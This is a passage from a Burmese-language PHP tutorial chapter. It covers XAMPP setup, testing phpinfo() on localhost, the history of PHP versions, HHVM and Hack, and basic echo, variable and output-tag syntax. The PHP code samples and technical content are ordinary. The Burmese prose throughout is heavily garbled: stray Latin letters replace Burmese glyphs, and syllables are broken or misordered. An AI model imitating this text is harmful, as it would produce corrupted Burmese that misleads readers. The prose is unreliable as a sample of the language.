ပညာကကြေန လုံခြခံုကြေရးအားနည်းချက်  ကြေပါ်ကြေနတာမျ ို းကြေတွ  ရှိလာတတ်ပါတယ်။ ဒါကြေeကာင့်  ကိုယ့်စက်ထဲမှာ
PHP ကုဒ်ကြေတွ ကြေရးစမ်းoုိအ့တွက် Development Environment တည်ကြေဆာက်ရာမှာသာ အသံုးgပုသင့်ပြပီး၊
အများသုံးoုိ့  ကြေပးတဲ့  Production Environment  မှာကြေတာ့ မသုံးသင့်yူးလုိ့  ပူးတွဲမှတ်သားရမှာပါ။ အများ
သုံးမယ့်  Production  Environment  မှာကြေတာ့  ကိုယ့်ပကြေရာင်္ဂျက်အတွက်  လုိအပ်မယ့်  နည်းပညာကြေတွကို
ကိုယ်တိုင် (သုိမ့ဟုတ်) သက်ဆိုင်ရာ System Administrator က တစ်ခုချင်း စီစစ်ပြပီး ထည့်သွင်းoုိ့ လုိအပ်
နိုင်ပါတယ်။

ဆက်လက်ကြေလ့လာနိုင်oုိအ့တွက် XAMPP Installer oုိင်ကို ဒီလိပ်စာမှာ Download ရယူနိုင်ပါတယ်။

- https://www.apachefriends.org
 
Install  လုပ်ပုံလုပ်နည်းနဲ၊့  Install  လုပ်ပြပီးကြေနာက် ဆက်လုပ်သင့်တာကြေတွ ရှိပါတယ်။ ဒါကြေတွကို စာနဲ့ကြေရးgပ
ရင် ထိကြေရာက်မှုရှိမှာ မဟုတ်ပါyူး။ လက်ကြေတွ့လုပ်gပမှသာ ထိကြေရာက်မှုရှိမှာ goစ်ပါတယ်။ ဒါကြေeကာင့် ဗီွဒီယုိ
သင်ခန်းစာတစ်ခု ကြကိုတင်စီစဉ်ထားပါတယ်။ ကြေရှ့ဆက်မoတ်ခင် အ့ဲဒီသင်ခန်းစာကို  eကည့်ပြပီး  XAMPP  ကို
Install လုပ် အသင့်gပင်ထားoုိ ့လုိအပ်ပါတယ်။ ဒီလိပ်စာမှာ eကည့်ရမှာပါ။

- https://www.facebook.com/fairway.technology/videos/2994956967228569/

Fairway Technology ရဲ့ Facebook Page ကို သွားပြပီး Videos Section ထဲမှာeကည့်လုိက်ရင်လည်း PHP
Development Environment with XAMPP and Composer ဆိုတဲ့  ကြေခါင်းစဉ်နဲ့  ဒီဗီွဒီယုိ သင်ခန်းစာကို
ကြေတွ့ ရမှာပါ။  အချနိ်  (၁၅)  မိနစ်ခန့်goစ်ပြပီး  eကည့်goစ်ကြေအာင်eကည့်oုိန့ဲ့  လုပ်goစ်ကြေအာင်  လုိက်လုပ်ထားoုိ့
လုိအပ်ပါတယ်။ XAMPP ကို  Install  လုပ်နည်းအgပင် PHP ကို  Command Prompt မှာ Run လုိရ့ကြေအာင်
လုပ်နည်းနဲ့  Composer ကြေခါ် ကြေနာက်ပုိင်းမှာ လုိအပ်လာမယ့် နည်းပညာတစ်ခုကို ထည့်သွင်းနည်းပါ တစ်ခါ
ထဲ ထည့်gပထားလုိ့ပါ။

https://www.facebook.com/fairway.technology/videos/2994956967228569/
https://www.apachefriends.org/
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Running PHP Code
Development  Environment  တည်ကြေဆာက်ရရှိပြပီဆိုရင်  PHP  ကုဒ်ကြေတွကို  yယ်မှာကြေရးရမလဲ၊  yယ်လုိ
စမ်းရမလဲဆိုတာကို ဆက်ကြေgပာရပါမယ်။ 

1. PHP ကုဒ်ကြေတွကို HTML Document ထဲမှာကြေရးပြပီး
2. .php Extension နဲ့
3. Web Server ရဲ့ Document Root oုိဒါထဲမှာ သိမ်းကြေပးရပါမယ်။

XAMPP  နဲ့အတူပါတဲ့  Apache  Web  Server  ရဲ့  Document  Root  oုိဒါအမည်ဟာ  htdocs goစ်ပြပီး
Windows မှာဆိုရင် အများအားgoင့်  C:\xampp\htdocs goစ်ပါတယ်။ အကယ်၍ XAMPP ကို  Install
လုပ်ချနိ်မှာ oုိဒါတည်ကြေနရာကို ကြေgပာင်းခဲ့ရင်ကြေတာ့ ကိုယ်ကြေgပာင်းခဲ့တဲ့ တည်ကြေနရာမှာပဲ ရှာလုိက်ပါ။ htdocs
oုိဒါထဲမှာ ကုဒ်oုိင်ကြေတွကို ဒီအတိုင်းထည့်ကြေရးလုိရ့သလုိ၊ လုိအပ်ရင် oုိဒါအဆင့်ဆင့် ထပ်မံတည်ကြေဆာက်ပြပီး
ကြေတာ့ စုစည်းကြေရးသားလုိ့ ရပါတယ်။

PHP ကုဒ်ကြေတွ ထည့်သွင်းကြေရးသားမယ့် HTML oုိင်ရဲ့ အမည်ကို မိမိနှစ်သက်ရာ ကြေပးနိုင်ကြေပမယ့် Extension
ကိုကြေတာ့ .php လုိ့ ကြေပးရပါတယ်။ .html လုိ့ ကြေပးလုိမ့ရပါyူး။ Web Server ကြေတွက အများအားgoင့် oုိင်
Extension  .php goစ်မှ  အထဲက  PHP  ကုဒ်ကို  Run  ကြေပးoုိ့  Setting  လုပ်ထားeကလုိပ့ါ။  ဒီနည်းနဲ့  ရုိးရုိး
ကြေရးထားတဲ့ Static HTML oုိင်နဲ့ PHP ကုဒ်ကြေတွပါဝင်တဲ့ Dynamic HTML oုိင်ကို ခွဲeကတာပါ။

ကြေရးထားတဲ့ကုဒ်ကို စမ်းoုိအ့တွက် ရုိးရုိး HTML ကြေတွလုိ ဒီအတိုင်း Browser နဲတ့ိုက်ရုိက် oွင့်eကည့်လုိ့ မရပါ
yူး။ Web Server   ကိုဆက်သွယ်ပြပီးကြေတာ့ လုိချင်တဲ့oုိင်ကို ကြေတာင်းယူရပါတယ်  ။ ဒီကြေတာ့မှ Web Server က
အထဲကကုဒ်ကြေတွကို  Run ပြပီး ရလဒ်ကို gပန်ကြေပးမှာ မုိလုိ့ပ့ါ။  Web Server  က လက်ရှိကွန်ပျူတာထဲမှာပဲ ရှိ
ကြေနတာမုိလုိ့့ အ့ဲဒီ  Web Server  ကို  localhost ဆိုတဲ့ လိပ်စာကကြေန ဆက်သွယ်နိုင်ပါတယ်။ အကယ်၍
Web Server အလုပ်လုပ်ကြေနတဲ့ Port နံပါတ်ကို ကြေgပာင်းခဲ့မယ်ဆိုရင်ကြေတာ့ Web Server ကိုဆက်သွယ်နိုင်oုိ့
localhost  ကြေနာက်မှာ  Port  နံပါတ်ကို  Colon  သကြေက[တနဲအ့တူ  ထည့်သွင်းကြေပးရမှာပါ။  ဒီသကြေyာကို
Development Environment တည်ကြေဆာက်ပုံ ဗီွဒီယုိသင်ခန်းစာထဲမှာ ထည့်သွင်းကြေoာ်gပထားပါတယ်။ 
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လက်ကြေတွ့စမ်းeကည့်နိုင်oုိအ့တွက် htdocs oုိဒါထဲမှာ info.php ဆိုတဲ့အမည်နဲ ့oုိင်တစ်ခုတည်ကြေဆာက်
ပြပီး ဒီကုဒ်ကို ကြေရးသားကြေပးပါ။

 PHP 

<?php phpinfo() ?>

တစ်ကြေeကာင်းထဲပါ။ တgခားyာမှ ပါစရာမလုိပါyူး။  phpinfo() လုိ့ကြေခါ်တဲ့  Standard  PHP  Function
ကို ကြေခါ်ယူထားတာgoစ်ပြပီး  ဒီကုဒ်ကို စမ်းeကည့်လုိက်ရင် ရလဒ်အကြေနနဲ့  Install  လုပ်ထားတဲ့  PHP Version
အပါအဝင် Development Environment နဲပ့က်သက်တဲ့ အချက်အလက်အgပည့်အစံုကို ကြေoာ်gပကြေပးမှာgoစ်
ပါတယ်။ Browser မှာ ဒီလိပ်စာနဲ ့စမ်းeကည့်နိုင်ပါတယ်။

- http://localhost/info.php

http://localhost/info.php
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Web Server လိပ်စာgoစ်တဲ့  localhost ရဲ့ကြေနာက်မှာ ကြေရးသားထားတဲ့ ကုဒ်oုိင်အမည်ကို ကြေပးလုိက်တာ
ပါ။ အgပည့်အစံုက http://localhost/info.php ဆိုကြေပမယ့် ကြေရှ့ဆံုးက http:// သကြေက[တကို
ကိုယ်ထည့်မကြေပးရင်  Browser  က  သူ့yာသာ  ထည့်ပြပီး  အလုပ်လုပ်ကြေပးသွားလုိ့  ထည့်မရုိက်လည်း  ရပါ
တယ်။ လက်ကြေတွ့စမ်းeကည့်လုိက်ရင် ပြပီးခဲ့တဲ့စာမျက်နှာမှာ ကြေoာ်gပထားတဲ့ပုံလုိ  ရလဒ်မျ ို းကို  ကြေတွ့ gမင်ရမှာ
goစ်ပါတယ်။

ဒါက ကုဒ်oုိင်ကို htdocs oုိဒါကြေအာက်မှာ တုိက်ရုိက်ကြေရးလုိက်တာပါ။ အကယ်၍ ကုဒ်oုိင်ကို htdocs ထဲ
မှာ app ဆိုတဲ့oုိဒါ တည်ကြေဆာက်ပြပီးကြေတာ့မှ အထဲမှာ info.php ဆိုတဲ့အမည်နဲ့ ကြေရးသားထားမယ်ဆိုရင်
Browser  မှာ  ထည့်သွင်းစမ်းသပ်ရမယ့်  လိပ်စာက  localhost/app/info.php goစ်ပါတယ်။  oုိင်
တည်ကြေနရာကို oုိဒါနဲတ့စ်ကွ ထည့်သွင်းကြေပးရတာပါ။

အကယ်၍ ကြေပးလုိက်တဲ့လိပ်စာက oုိင်အမည်မပါyဲ oုိဒါသက်သက် goစ်ကြေနမယ်ဆိုရင်   Web Server   က အ့ဲဒီ  
oုိဒါထဲမှာ ရှိကြေနတဲ့ oုိင်စာရင်းကို gပန်ကြေပးမှာပါ။ ဥပမာ - localhost/app/ ဆိုရင် app oုိဒါထဲမှာ ရှိကြေန
တဲ့  oုိင်စာရင်းကို  ကြေတွ့ gမင်ရပါလိမ့်မယ်။  oုိဒါတစ်ခုရဲ့  Index  Page  (Home  Page)  သတ်မှတ်လုိရင်
index.php oုိင်ကို သုံးနိုင်ပါတယ်။ oုိဒါတစ်ခုရဲ့အတွင်းထဲမှာ index.php oုိင်ရှိကြေနမယ်ဆိုရင် လိပ်စာ
အကြေနနဲ့  oုိဒါကို  ကြေပးလုိက်တဲ့အခါ အထဲကoုိင်စာရင်းကို  gပန်မကြေပးကြေတာ့yဲ  index.php ကို  အလုပ်လုပ်
ကြေပးသွားမှာ goစ်ပါတယ်။ ဥပမာ app oုိဒါထဲမှာ index.php ရှိကြေနရင် localhost/app/ လိပ်စာကို
ထည့်သွင်းလုိက်တဲ့အခါ ကြေနာက်က oုိင်အမည်ကို ထည့်ကြေပးမထားကြေပမယ့် index.php ကိုအလုပ်လုပ်ကြေပး
သွားမှာ goစ်ပါတယ်။

ဒါဟာ ခက်ခဲလှတဲ့ သကြေyာyသာဝကြကီး မဟုတ်ကြေပမယ့်၊ ကြေလ့လာစမှာ မျက်စိလည်တတ်eကပါတယ်။ အခု
မှ PHP ကို ပထမဆံုး စတင်ကြေလ့လာoူးသူဆိုရင် ဒီသကြေyာကို ကြေကာင်းကြေကာင်း နားလည်သကြေyာကြေပါက်ကြေစ
oုိအ့တွက်  လက်ကြေတွ့  စမ်းသပ်eကည့်ပြပီးမှ  ကြေရှ့ဆက်သင့်ပါတယ်။  PHP  ကုဒ်  ကြေရးပုံကြေရးနည်းကြေတွ  မကြေgပာရ
ကြေသးကြေပမယ့်၊   ရုိးရုိး  HTML  Document  ကြေတွကိုပဲ  .php Extension  နဲ့  htdocs oုိဒါထဲမှာသိမ်းပြပီး
localhost ကကြေနတစ်ဆင့် ကြေခါ်ယူစမ်းသပ် eကည့်နိုင်ပါတယ်။
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PHP 8
ဒီစာကြေရးကြေနချနိ်မှာ ထွက်ထားတဲ့ ကြေနာက်ဆံုး PHP Version ကကြေတာ့ PHP 8 goစ်ပါတယ်။ ဒါကြေeကာင့် လက်ရှိ
ပကြေရာင်္ဂျက်ကြေတွမှာ အများသုံးကြေနဆဲ PHP Version အခွဲ (၃) ခု ရှိကြေနပါတယ်။ PHP 5, PHP 7 နဲ့ PHP 8 တို့
goစ်ပါတယ်။ 

PHP 5 မှာ 5.5 နဲ့ 5.6 ထိရှိပါတယ်။ 5.5 ရဲ့ ကြေရှ့ပုိင်း Version ကြေတွကို အသုံးgပုသူ မရှိသကြေလာက် နည်းသွား
ပြပီ goစ်သလုိ  5.6  ကြေနာက်ပုိင်း  Version  သစ်  ထပ်မထွက်ကြေတာ့ပါyူး။  PHP 6  လည်းမရှိပါyူး။ ထွင်ကြေတာ့
ထွင်ခဲ့eကပါကြေသးတယ်။ အများသံုးoုိ ့မကြေeကညာနိုင်ခဲ့တာပါ။

PHP 6 ကို တီထွင်ကြေနစဉ်မှာ PHP ကို လက်ကြေတွ့ အသုံးgပုကြေနတဲ့ လုပ်ငန်းကြကီးကြေတွထဲမှာ အကြကီးဆံုးလုိ့ ကြေgပာ
ရမယ့်  Facebook က HipHop လုိ့ကြေခါ်တဲ့ နည်းပညာတစ်မျ ို းကို တီထွင်ခဲ့ပါတယ်။  HipHop ဆိုတာ PHP
ကုဒ်ကို C++ ကုဒ်goစ်ကြေအာင် ကြေgပာင်းကြေပးနိုင်တဲ့ နည်းပညာပါ။ အ့ဲဒီအချနိ်တံုးက C++ ဆိုတာ Programming
Language ကြေတွထဲမှာ C ပြပီးရင် ဒုတိယကြေgမာက် အgမန်ဆံုးလုိ့ ကြေgပာလုိရ့နိုင်ပါတယ်။ ဒါကြေeကာင့် HipHop ရဲ့
အကူအညီနဲ့ PHP ကုဒ်ကြေတွကို C++ ကြေgပာင်း၊ Compile လုပ်ပြပီးမှ အသုံးgပုတဲ့အခါ ပုိကြေကာင်းတဲ့ စွမ်းကြေဆာင်
ရည်ကို ရကြေစနိုင်သွားတဲ့ သကြေyာပါ။ 

ပြပီးကြေတာ့  Facebook  က  HHVM  (HipHop  Virtual  Machine)  လုိ့ကြေခါ်တဲ့  နည်းပညာတစ်မျ ို းကို  ထပ်မံ
တီထွင်ခဲ့gပန်ပါတယ်။ နည်းပညာက ကျယ်gပန့်ကြေပမယ့် အနှစ်ချုပ်အားgoင့် ဒီလုိမှတ်နိုင်ပါတယ်။ ရုိးရုိး  PHP
မှာ ကုဒ်ကြေတွကို  Zend Engine လုိ့ကြေခါ်တဲ့ နည်းပညာတစ်မျ ို းနဲ့ တစ်ဆင့်ခံ  Run ပါတယ်။ HHVM ကကြေတာ့
ကုဒ်ကြေတွကို  CPU က တိုက်ရုိက်နားလည်တဲ့  Machine Code ကြေgပာင်းပြပီးကြေတာ့ Run ပါတယ်။ ဒါကြေeကာင့် ပုိ
gမန်ပါတယ်။ ကြေရးထားတဲ့  PHP ကုဒ်ချင်းအတူတူ ရုိးရုိး  PHP Interpreter နဲ့  Run တာထက် Facebook ရဲ့
HHVM နဲ ့Run တာက ပုိgမန်မယ်ဆိုတဲ့သကြေyာ goစ်သွားတာပါ။

- https://hhvm.com

ပြပီးကြေတာ့ Facebook က Hack လုိ့ ကြေခါ်တဲ့ PHP Compatible Programming Language တစ်ခုကို တီထွင်
ခဲ့ပါတယ်။ PHP နဲ့ ကြေရးထုံးပုိင်းမကွာပဲ Scalar Type Hinting တို့ Return Type Hinting တိုလုိ့ goည့်စွက်မှု
တစ်ချ ို ့  ပုိမုိပါဝင်သွားတာပါ။  ဒီကြေရးထုံးကြေတွအကြေeကာင်းကို  သူ့ကြေနရာနဲသူ့  ဆက်လက်ကြေoာ်gပသွားမှာပါ။

https://hhvm.com/
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Loosely  Typed  Language  တစ်ခုgoစ်တဲ့  PHP  ဟာ  အgခားကြေသာ  Loosely  Typed  Language  များ
အားလုံးနည်းတူ ကြေရးရတာလွယ်ကူgမန်ဆန်ကြေပမယ့် ကြေစာကြေစာစီးစီး မသိလုိက်yဲ ကြေနာက်မှကြေပါ်တဲ့  Runtime
Error ကြေတွ များတတ်တဲ့ အားနည်းချက် ရှိကြေနပါတယ်။ ဒါကို  Hack က Type Hinting နည်းစနစ်ကြေတွ ထပ်
goည့်ပြပီးကြေတာ့ ကုစားကြေပးလုိက်လုိ့ ပုိပြပီးကြေတာ့ အရည်အကြေသွးကြေကာင်းတဲ့ ကုဒ်ကို ရသွားကြေစနိုင်တဲ့သကြေyာပါ။

- https://hacklang.org

ဒီ အသစ်တီထွင်မှုကြေတွက လုပ်လက်စ  PHP 6  ထက် အလားအလာ ပုိကြေကာင်းကြေနတာ တစ်ကြေနတ့gခား ပုိမုိ
ထင်ရှားလာတဲ့အတွက် PHP ကို စီမံကြေနeကသူကြေတွက PHP 6 ထွင်ကြေနတာကို ရပ်လုိက်ပြပီး HHVM တို့ Hack
တိုက့ို နမူနာယူထားတဲ့  PHP 7 ကို ဆက်လက်တီထွင်ခဲ့eကပါတယ်။ ဒါကြေeကာင့် PHP 6 ဆိုတာ ထွက်မလာ
လုိက်yဲ  PHP 7 ကို တစ်ဆင့်ကြေကျာ် ကြေရာက်ရှိသွားတာပါ။ လက်ရှိ ဒီစာကြေရးကြေနချနိ်မှာ  PHP 7.0 ကကြေန 7.4
ထိ ထွက်ထားပါတယ်။ 

PHP 7  ကကြေတာ့ အတွင်းပုိင်း အလုပ်လုပ်ပံု  အကြေgပာင်းအလဲကြေတွနဲ့အတူ စွမ်းကြေဆာင်ရည်မှာ  PHP 5  ထက်
နှစ်ဆနီးပါး ပုိgမန်တဲ့ ရလဒ်ကြေကာင်းကြေတွကို ရသွားပါတယ်။ ကြေရးထုံးပုိင်းမှာ Backward Compatible ကြေတာ့
အgပည့်အဝ မgoစ်ပါyူး။ ဆိုလုိတာက PHP 5 နဲ့ကြေရးထားတဲ့ ပကြေရာင်္ဂျက်ကို PHP 7 နဲ့ Run လုိ့ အgပည့်အဝ
အဆင်ကြေgပမှာ မဟုတ်ပါyူး။ ဒါကြေပမယ့် ကြေလ့လာမှု ရှုကြေထာင့်က eကည့်ရင်ကြေတာ့ PHP 5 ကိုကြေလ့လာထားမိလုိ့
PHP 7 ကို အသစ်အစအဆံုး gပန်ကြေလ့လာရတယ်ဆိုတာမျ ို းကြေတာ့ ရှိမှာ မဟုတ်ပါyူး။ အလားတူပဲ  PHP 8
goစ်သွားလုိ့ အသစ်gပန်ကြေလ့လာစရာလည်း မလုိပါyူး။ ကြေရးထုံးကြေတွက အများအားgoင့် တူညီeကပါတယ်။ မ
တကူြေတာ့ပဲ ကွဲgပားသွားတဲ့ အပုိင်းကြေလးကြေတွကြေလာက်ကို ကြေရွးချယ်မှတ်သားလုိက်ရင် ရသွားပါပြပီ။ ဒီလုိကွဲgပား
သွားတာကြေလးကြေတွကို သူ့ကြေနရာနဲသူ့ ထည့်သွင်းကြေoာ်gပကြေပးသွားမှာပါ။ 

လက်ရှိဒီစာကြေရးကြေနချနိ်ထိ PHP 8 မှာ 8.0, 8.1 နဲ ့8.2 တို့ ထွက်ရှိထားပါတယ်။

PHP 8 မှာကြေတာ့ JIT လုိ့ကြေခါ်တဲ့ နည်းပညာတစ်မျ ို း goည့်စွက်ပါဝင်လာပါတယ်။ စမ်းသပ်မှုကြေတွအရ တစ်ချ ို ့
အချနိ်ယူအလုပ်လုပ်ရတဲ့  လုပ်ငန်းကြေတွမှာ  PHP 7  ထက်  (၁)  ဆခွဲ  ကကြေန  (၂)  ဆထိ ပုိgမန်သွားပြပီး၊  စွမ်း
ကြေဆာင်ရည်တိုင်းတာoုိ့  သက်သက် ရည်ရွယ်ထားတဲ့  Benchmark  ကြေတွမှာကြေတာ့  (၃)  ဆကြေလာက်ထိ ပုိgမန်
တယ်ဆိုတာကို ကြေတွ့ ရပါတယ်။ ဒါကြေပမယ့် လက်ရှိ ရှိကြေနတဲ့ ပကြေရာင်္ဂျက်ကြေတွမှာ စမ်းသပ်တဲ့အခါ PHP 7.4 နဲ့

https://hacklang.org/
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စွမ်းကြေဆာင်ရည် မတိမ်းမယိမ်းသာ ရှိတယ်ဆိုတာကို  ကြေတွရှိထားလုိ့  ဒါကိုလည်း သတိgပုသင့်ပါတယ်။  JIT
ကကြေပးတဲ့ အားသာချက်ကို ရယူနိုင်တဲ့ ပကြေရာင်္ဂျက် အမျ ို းအစားကြေတွ ရှိနိုင်သလုိ၊ မရနိုင်တဲ့ ပကြေရာင်္ဂျက် အမျ ို း
အစားကြေတွလည်း ရှိနိုင်ပါတယ်။

JIT  ဆိုတာ  Just  In  Time  Compilation  ဆိုတဲ့  အဓိပ္ပါယ်ပါ။  ပံုမှန်အားgoင့်  PHP  ဟာ  Interpreted
Language  goစ်ပါတယ်။ ကြေရးထားတဲ့ကုဒ်ကို တုိက်ရုိက် yာသာgပန်gခင်းအားgoင့် အလုပ်လုပ်ပါတယ်။  JIT
နည်းပညာကကြေတာ့  ထပ်ခါထပ်ခါ  Run  ရတဲ့ကုဒ်ကြေတွကို  Compile  လုပ်ထားgခင်းအားgoင့်  ထပ်ခါထပ်ခါ
တိုက်ရုိက်yာသာgပန်စရာ မလုိကြေတာ့လုိ့  ပုိgမန်သွားတဲ့  သကြေyာမျ ို းပါ။  တစ်ကယ်  Compiled  Language
ကြေတွမှာကို  ကြကိုတင်  Compiled  လုပ်ပြပီးမှ  အလုပ်လုပ်တာမျ ို းကြေတာ့  မဟုတ်ပါyူး။  တိုက်ရုိက်yာသာgပန်
စနစ်ကိုပဲ  ဆက်သံုးပါတယ်။  Interpreter    က အကြကိမ်ကြကိမ်လုပ်ရတဲ့  ကုဒ်ကြေတွ  ရှိလာရင်    Compile    လုပ်  
သိမ်းထားပြပီး gပန်သုံးကြေပးလုိက်တဲ့သကြေyာပါ။ 

Facebook  ရဲ့  HHVM  မှာလည်း  JIT  နည်းပညာ ပါဝင်ပါတယ်။ ဒါကြေပမယ့်  PHP 7  ထွက်လာပြပီးကြေနာက်
HHVM တို့  Hack တို့ကြေပါ်မှာ လူကြေတွရဲ့ စိတ်ဝင်စားမှု ကြေလျာ့ကျသွားပါတယ်။ ပင်မ PHP မှာလည်း တူညီတဲ့
လုပ်ကြေဆာင်ချက်နဲ့  တူညီတဲ့စွမ်းကြေဆာင်ရည်ကို  ရသွားပြပီမုိ့လုိ့ပါ။  Benchmark  တိုင်းတာမှုကြေတွအရ  နည်း
နည်းကြေတာင် ပုိသာကြေသးတယ်လုိ့ ဆိုနိုင်ပါတယ်။ အခုဆိုရင်  HHVM  က ရုိးရုိး  PHP  ကိုလည်း  Support  မ
လုပ်ကြေတာ့ပါyူး။ Hack တစ်မျ ို းထဲကိုသာ Support လုပ်ပါကြေတာ့တယ်။

ဒီစာအုပ်မှာ  ကုဒ်နမူနာကြေတွကြေoာ်gပတဲ့အခါ  PHP 8  ကို  အဓိကထားအသံုးgပုသွားမှာ  goစ်ကြေပမယ့်၊  တစ်ချ ို ့
PHP 8 သီးသန့်လုပ်ကြေဆာင်ချက်ကြေတွက လဲွရင် အများအားgoင့် PHP 5 တို့ PHP 7 တိုန့ဲ့ စမ်းeကည့်ရင်လည်း
အဆင်ကြေgပမှာပါ။  သက်ဆိုင်ရာကုဒ်နဲအ့တူ  စမ်းလုိရ့မယ့်  PHP  Version  ကိုတွဲgပကြေပးမှာမုိလုိ့့  gပထားတဲ့
Version နံပါတ်ကိုကြေတာ့ သတိgပုကြေပးပါ။ 

ကုဒ်နမူနာကြေတွမှာ  PHP လုိ့ကြေခါင်းစဉ်တပ်ကြေပးထားရင်  Version  အားလုံးနဲ့  အဆင်ကြေgပတယ်ဆိုဲု့  အဓိပ္ပါယ်ပါ။
PHP 7 (သုိ့မဟုတ်) PHP 8 လုိ့ ကြေခါင်းစဉ်တပ်ထားရင်ကြေတာ့ သက်ဆိုင်ရာ Version နဲသ့ာ အဆင်ကြေgပတဲ့ကုဒ်
ကို ဆိုလုိgခင်းပဲ goစ်ပါတယ်။
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HTML Document ထဲမှာ PHP ကုဒ်ကြေတွကို HTML Element ကြေတွနဲ ့အခုလုိ တွဲoက်ပြပီး ကြေရးနိုင်ပါတယ်။

 PHP 

<h1>Home Page</h1>
<p>
    Total: <?php echo 1 + 2 ?>
</p>

<?php အoွင့်နဲ့ ?> အပိတ်eကားထဲမှာ PHP ကုဒ်ကြေတွကို ကြေရးကြေပးရတာပါ။ နမူနာအရ 1 နဲ့ 2 ကိုကြေပါင်းပြပီး
ကြေoာ်gပခိုင်းလုိက်တဲ့ Statement တစ်ခုကို ကြေရးသားထားတာပါ။ ဒီကြေနရာမှာ echo Keyword က အကြေရးကြကီး
ပါတယ်။  ရလဒ်ကြေတွကို    Output    အကြေနနဲ့  ထုတ်ပြပီး ကြေoာ်gပကြေစလုိတဲ့အခါ    echo     နဲ့  ကြေoာ်gပခိုင်းရပါတယ်  ။ ဒီ
ကုဒ်ကိုအလုပ်လုပ်လုိက်ရင် gပန်ရမယ့် ရလဒ်က အခုလုိgoစ်မှာပါ။

 Output 

<h1>Home Page</h1>
<p>
    Total: 3
</p>

PHP က ထုတ်ကြေပးလုိက်တာက HTML Output goစ်ပြပီး အ့ဲဒီ  HTML Output ကို  Browser က ကြေနာက်ဆံုး
ရလဒ်အကြေနနဲ့ gပကြေပးတယ်ဆိုတာကို သတိgပုပါ။ ဒါကြေeကာင့် စမ်းeကည့်ရင် ကြေတွ့gမင်ရမှာက ကြေနာက်ဆံုးရလဒ်
goစ်ပြပီး၊ PHP က ထုတ်ကြေပးလုိက်တဲ့ HTML Output အgပည့်အစံုကိုသိချင်ရင် Browser ရဲ့ View Source ကို
အသုံးgပုနိုင်ပါတယ်။ 



PWD 2023 – အခန်း (၂၇) – PHP Syntax, Variables & Data Types 406

Output  ထုတ်ကြေoာ်gပကြေစoုိအ့တွက်  print Keyword  လည်း ရှိပါကြေသးတယ်။  echo အစား  print ကို
သုံးလုိ့ ရနိုင်ပါတယ်။ ဒါကြေပမယ့် echo က နည်းနည်းပုိgမန်တဲ့အတွက်  print ကို မသုံးသကြေလာက် နည်း
ပြပီး echo ကိုပဲ သုံးeကပါတယ်။ 

အကယ်၍ ကုဒ်ကြေတွက တစ်လုိင်းထက်  ပုိတယ်ဆိုရင်  ခွဲကြေရးလုိရ့ပါတယ်။  တစ်လုိင်းထက်  ပုိလာပြပီဆိုရင်
ကြေတာ့  Statement  တစ်ခုပြပီးတိုင်း  Semicolon  နဲပိ့တ်ကြေပးရပါတယ်။  မပိတ်မကြေနရ  ပိတ်ကြေပးရတာပါ။
Semicolon မပါရင် အလုပ်မလုပ်ကြေတာ့ပါyူး။ ဒီလုိပါ။

 PHP 

<h1>Home Page</h1>
<p>
    Total: 
    <?php 
        $num1 = 3;
        $num2 = 5;
        echo $num1 + $num2;
    ?>
</p>
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နမူနာမှာ  $num1 လုိ့ကြေခါ်တဲ့  Variable  တစ်ခုနဲ့  $num2 လုိ့ကြေခါ်တဲ့  Variable  တစ်ခတုိုက့ို  ကြေeကညာလုိက်
တာပါ။ တစ်လက်စတည်း  Variable  အကြေeကာင်းကိုပါ တဲွeကည့်eကပါမယ်။  PHP  မှာ  Variable  ကြေeကညာoုိ့
var တို့  let တိုလုိ့  Keyword  ကြေတွ သုံးစရာမလုိပါyူး။ ဒါကြေပမယ့် ခြခွင်းချက်အကြေနနဲ့  PHP Variable    မှန်  
သမျှ   $   သကြေက[တနဲ့ စကြေပးရပါတယ်  ။ မgoစ်မကြေန စကြေပးရမှာပါ။ နမူနာအရ Variable နှစ်ခုကြေeကညာပြပီး ကြေပါင်း
gခင်းရလဒ်ကို ကြေoာ်gပခိုင်းလုိက်တာပါ။

ကုဒ်ကြေတွကို တစ်ကြေနရာထဲမှာ စုကြေရးတာမျ ို း မဟုတ်yဲ လုိအပ်ရင် နှစ်ကြေနရာ သံုးကြေနရာလည်း ခွဲကြေရးလုိ့ ရပါ
ကြေသးတယ်။ ဒီလုိပါ။

 PHP 

<h1>Home Page</h1>
<?php
    $num1 = 3;
    $num2 = 5;
?>
<p>
    Total: <?php echo $num1 + $num2 ?>
</p>

ဒီတစ်ခါ Variable ကြေeကညာတဲ့ကုဒ်ကြေတွကို သပ်သပ်ကြေရးပြပီး၊ ကြေပါင်းgခင်းရလဒ် ကြေoာ်gပကြေစတဲ့ကုဒ်ကို သပ်သပ်
ကြေရးထားပါတယ်။ ရလဒ်က အတူတူပဲ goစ်မှာပါ။ PHP မှာ ရလဒ်ကြေတွကို ကြေoာ်gပကြေစoုိ့ သုံးရတဲ့ အတိုကြေကာက်
ကြေရးနည်းတစ်ခု ရှိပါကြေသးတယ်။ ဒီလုိပါ။

 PHP 

<h1>Home Page</h1>
<?php
    $num1 = 3;
    $num2 = 5;
?>
<p>
    Total: <?= $num1 + $num2 ?>
</p>

<?= အoွင့်နဲ့  ?> အပိတ်ကို သံုးလုိက်တာပါ။ Output Tag လုိ့ ကြေခါ်နိုင်ပါတယ်။ ဒီ Output Tag ကိုသုံးရင်
echo Keyword  ထည့်စရာ မလုိကြေတာ့ပါyူး။  ရလဒ်ကို  တစ်ခါထဲ ကြေoာ်gပကြေပးလုိက်မှာ မုိလုိ့ပ့ါ။  PHP  မှာ
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ရုိးရုိးအတိုကြေကာက်  Short Opening Tag ဆိုတာ ရှိပါကြေသးတယ်။ <? အoွင့်နဲ့  ?> အပိတ်ကို သံုးရတာပါ။
ဒါကြေပမယ့် မသံုးသင့်တဲ့ကြေရးထုံးအgoစ် သတ်မှတ်ထားeကလုိ့ သူ့အကြေeကာင်းကို အကျယ်မချဲ့ကြေတာ့ ပါyူး။ ကြေရး
နည်း ရှိမှန်းသိကြေအာင်သာ ထည့်ကြေgပာလုိက်တာပါ။ ကြေနာက်တစ်နည်းအကြေနနဲ့ PHP နဲ့ HTML ကို ခွ ပြပီးကြေရးလုိ့
လည်း ရပါကြေသးတယ်။ ဒီကုဒ်ကိုကြေလ့လာeကည့်ပါ။

 PHP 

<h1>Home Page</h1>
<?php $hour = date('h') ?>
<p>
    <?php
        if($hour < 6 || $hour > 18) {
            echo "<b>Night Time</b>";
        } else {
            echo "<i>Day Time</i>";
        }
    ?>
</p>

နမူနာအရ  PHP  date() Function  ရဲ့အကူအညီနဲ့  လက်ရှိအချနိ်နာရီကို  ယူထားပါတယ်။  မနက်  (၆)
